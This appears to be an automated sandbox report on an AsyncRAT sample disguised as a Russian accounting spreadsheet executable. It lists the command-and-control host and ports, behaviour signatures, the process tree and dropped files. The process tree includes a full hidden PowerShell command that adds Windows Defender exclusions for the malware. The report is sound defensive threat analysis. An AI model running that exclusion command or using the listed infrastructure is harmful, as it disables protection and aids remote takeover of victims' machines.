Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
29/07/2026, 15:14
General
- Target Расчетная таблица бухгалтерского отдела_xlsx.exe
- Size 515KB
- Sample260729-sme1eaam21
- SHA256 ff3f577ca21b60efc5be62dc7b4dd0fd4f3c849be4cd3865172fa9064787d04e
Malware Config
Extracted
-
asyncrat
-
AA
-
yoindje.shop:8848
-
yoindje.shop:12159
-
aa
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Async RAT payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 2 IoCs
- Adds Run key to start application 2 TTPs 3 IoCs
- Drops desktop.ini file(s) 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Расчетная таблица бухгалтерского отдела_xlsx.exe"C:\Users\Admin\AppData\Local\Temp\Расчетная таблица бухгалтерского отдела_xlsx.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\resources\psl.exe"C:\Users\Admin\resources\psl.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops desktop.ini file(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\pmrun\wermgr.exe"C:\pmrun\wermgr.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\pmrun' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\pmrun\psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\Users\Admin\resources\libpsl-5.dll' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'wermgr.exe' -ErrorAction SilentlyContinue"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\pmrun\psl.exe"C:\pmrun\psl.exe" --background1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\pmrun' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\pmrun\psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\pmrun\libpsl-5.dll' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'wermgr.exe' -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\pmrun\wermgr.exe"C:\pmrun\wermgr.exe"1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_f0fppfc0.esb.ps1
libpsl-5.dll
psl.exe
wermgr.exe
memory/1172-54-0x00007FFF0EF50000-0x00007FFF0EF66000-memory.dmp
memory/1172-53-0x00007FF7A1580000-0x00007FF7A1595000-memory.dmp
memory/1412-70-0x000002ABA90A0000-0x000002ABA90B4000-memory.dmp
memory/1412-55-0x00007FF745C20000-0x00007FF745C35000-memory.dmp
memory/1412-56-0x00007FFF19240000-0x00007FFF19256000-memory.dmp
memory/1412-81-0x000002ABC1A40000-0x000002ABC1AB6000-memory.dmp
memory/1412-82-0x000002ABA91A0000-0x000002ABA91B0000-memory.dmp
memory/1412-83-0x000002ABA91D0000-0x000002ABA91EE000-memory.dmp
memory/1412-87-0x000002ABA91F0000-0x000002ABA9200000-memory.dmp
memory/3292-27-0x00000171AF730000-0x00000171AF752000-memory.dmp
memory/3292-26-0x00000171AF820000-0x00000171AF830000-memory.dmp
memory/3292-25-0x00000171AF820000-0x00000171AF830000-memory.dmp
memory/3516-49-0x00007FF7049A0000-0x00007FF7049B3000-memory.dmp
memory/4936-57-0x00007FF7049A0000-0x00007FF7049B3000-memory.dmp